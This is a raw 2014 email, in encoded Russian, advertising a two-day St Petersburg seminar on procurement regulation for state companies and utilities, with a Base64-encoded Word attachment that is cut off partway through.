=?windows-1251?B?5ODw8fLi5e3t7uPuIOgg7PPt6Pbo7+Dr/O3u?= =?windows-1251?B?4+4g5+Dq4Ofg?= To: , , , Subject: =?windows-1251?B?0O7r/CDUwNEg4iDq7u3y8O7r5SDq7vDv7vDg?= =?windows-1251?B?8uji7fv1IOfg6vPv7uou?= Date: Wed, 19 Mar 2014 03:09:58 +0100 X-ASG-Orig-Subj: =?windows-1251?B?0O7r/CDUwNEg4iDq7u3y8O7r5SDq7vDv7vDg?= =?windows-1251?B?8uji7fv1IOfg6vPv7uou?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0D8D_01CF4320.B614BAA0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 14.0.8089.726 X-MimeOLE: Produced By Microsoft MimeOLE V14.0.8089.726 X-Barracuda-Connect: mail.mymeteor.ie[212.129.64.9] X-Barracuda-Start-Time: 1395198084 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4047 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=_NextPart_000_0D8D_01CF4320.B614BAA0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0D8E_01CF4320.B614BAA0" ------=_NextPart_001_0D8E_01CF4320.B614BAA0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CF=F0=EE=F5=EE=E4=E8=F2 2 =E4=ED=FF (=F1=EE 2 =EF=EE =C7 =E0=EF=F0=E5=EB= =FF), =E3=EE=F0=EE=E4 =D1-=CF=E5=F2=E5=F0=E1=F3=F0=E3 =D0=E5=E3=EB=E0=EC=E5=ED=F2 =E2 =F1=F4=E5=F0=E5 =E7=E0=EA=F3=EF=EE=F7=ED=EE= =E9 =E4=E5=FF=F2=E5=EB=FC=ED=EE=F1=F2=E8 =E4=EB=FF =E3=EE=F1=EA=EE=EC=EF=E0= =ED=E8=E9, =E3=EE=F1=EA=EE=F0=EF=EE=F0=E0=F6=E8=E9 =E8 =EA=EE=EC=EF=E0=ED= =E8=E9, =EE=F1=F3=F9=E5=F1=F2=E2=EB=FF=FE=F9=E8=F5 =E4=E5=FF=F2=E5=EB=FC=ED= =EE=F1=F2=FC =E2 =F1=F4=E5=F0=E5 =F2=E5=EF=EB=EE=F1=ED=E0=E1=E6=E5=ED=E8=FF= , =FD=EB=E5=EA=F2=F0=EE=F1=ED=E0=E1=E6=E5=ED=E8=FF, =E3=E0=E7=EE=F1=ED=E0= =E1=E6=E5=ED=E8=FF, =EE=F7=E8=F1=F2=EA=E8 =F1=F2=EE=F7=ED=FB=F5 =E2=EE=E4= , =E2=EE=E4=EE=F1=ED=E0=E1=E6=E5=ED=E8=FF, =E2=EE=E4=EE=EE=F2=E2=E5=E4=E5= =ED=E8=FF, =E0 =F2=E0=EA=E6=E5 =F3=F2=E8=EB=E8=E7=E0=F6=E8=E8... =D2=E5=EB=E5=F4=EE=ED =EE=F0=E3=EA=EE=EC=E8=F2=E5=F2=E0: - +7 [ =CF= =E5=F2=E5=F0=E1=F3=F0=E3 ] 6=F7-2 _ 50 91 =20 ------=_NextPart_001_0D8E_01CF4320.B614BAA0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=CF=F0=EE=F5=EE=E4=E8=F2 2 =E4=ED=FF (=F1=EE 2 =EF=EE =C7 =E0=EF= =F0=E5=EB=FF), =E3=EE=F0=EE=E4=20 =D1-=CF=E5=F2=E5=F0=E1=F3=F0=E3
 
=D0=E5=E3=EB=E0=EC=E5=ED=F2 =E2 =F1=F4=E5=F0=E5 =E7=E0=EA=F3=EF= =EE=F7=ED=EE=E9 =E4=E5=FF=F2=E5=EB=FC=ED=EE=F1=F2=E8 =E4=EB=FF =E3=EE=F1=EA= =EE=EC=EF=E0=ED=E8=E9,=20 =E3=EE=F1=EA=EE=F0=EF=EE=F0=E0=F6=E8=E9 =E8 =EA=EE=EC=EF=E0=ED=E8=E9, =EE= =F1=F3=F9=E5=F1=F2=E2=EB=FF=FE=F9=E8=F5 =E4=E5=FF=F2=E5=EB=FC=ED=EE=F1=F2= =FC =E2 =F1=F4=E5=F0=E5 =F2=E5=EF=EB=EE=F1=ED=E0=E1=E6=E5=ED=E8=FF,=20 =FD=EB=E5=EA=F2=F0=EE=F1=ED=E0=E1=E6=E5=ED=E8=FF, =E3=E0=E7=EE=F1=ED=E0=E1= =E6=E5=ED=E8=FF,  =EE=F7=E8=F1=F2=EA=E8 =F1=F2=EE=F7=ED=FB=F5 =E2=EE= =E4, =E2=EE=E4=EE=F1=ED=E0=E1=E6=E5=ED=E8=FF,=20 =E2=EE=E4=EE=EE=F2=E2=E5=E4=E5=ED=E8=FF, =E0 =F2=E0=EA=E6=E5  =F3= =F2=E8=EB=E8=E7=E0=F6=E8=E8...
 
=D2=E5=EB=E5=F4=EE=ED =EE=F0=E3=EA=EE=EC=E8=F2=E5=F2=E0: - +7 = [ =CF=E5=F2=E5=F0=E1=F3=F0=E3 ] 6=F7-2 _ 50 91
------=_NextPart_001_0D8E_01CF4320.B614BAA0-- ------=_NextPart_000_0D8D_01CF4320.B614BAA0 Content-Type: application/octet-stream; name="goszakaz2014.docx" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="goszakaz2014.docx" UEsDBBQABgAIAAAAIQAvrIDy4QEAAFYKAAATAAgCW0NvbnRlbnRfVHlwZXNdLnhtbCCiBAIooAAC AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADE ls1u2zAQhO8F+g4Cr4VEp4eiKCzn0CbHNEBd9MyQK4soRRJc5sdv35VlsW7ihEpipxcDNrUzH5f0 aOend50pbiCgdrZmJ9WMFWClU9quavZzeV5+ZgVGYZUwzkLN1oDsdPH+3Xy59oAFVVusWRuj/8I5 yhY6gZXzYGmlcaETkb6GFfdC/hYr4B9ns09cOhvBxjL2Gmwx/waNuDaxOLujnweSAAZZ8XV4sPeq mfDeaCkikfIbq+65lFuHiio3z2CrPX4gDMb3OvQrjxts675Ta4JWUFyKEC9ERxj81gXFlZPXHe2h elpmD6drGi0h1fdqPjgJiNTzzlRppRPajvyPcmBcG8DDUwy6E+1/6dieNQ1IOux8Pzos+01Xg8VO bd4NYqQmTTH59wqWuabjVjmLcAtXP45GsSOeBWmci9bFY5x9ks5CgFVHYhiVswgtCAXhZMK9e+aV GISz/g1F1FJcGTg8QZLOQqyMQxRh/RaxNHpNh/rPGTUC8weBM+HIXh5Wf22PlheTUyux7CTMhM0/ 8x+zIz79cqRLfnieJJ2liTS3AN98vj5JNjJPWdIb/jI4jzQHhRfExjjo9NUljQ4eQtSQRp19o0Jy pBnq1X2GfkpToPZ4881UuPgDAAD//wMAUEsDBBQABgAIAAAAIQAekRq38wAAAE4CAAALAAgCX3Jl bHMvLnJlbHMgogQCKKAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAjJLbSgNBDIbvBd9hyH032woi0tneSKF3IusDhJnsAXcOzKTavr2jILpQ 217m9OfLT9abg5vUO6c8Bq9hWdWg2JtgR99reG23iwdQWchbmoJnDUfOsGlub9YvPJGUoTyMMaui 4rOGQSQ+ImYzsKNchci+VLqQHEkJU4+RzBv1jKu6vsf0VwOamabaWQ1pZ+9AtcdYNl/WDl03Gn4K Zu/Yy4kVyAdhb9kuYipsScZyjWop9SwabDDPJZ2RYqwKNuBpotX1RP9fi46FLAmhCYnP83x1nANa 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 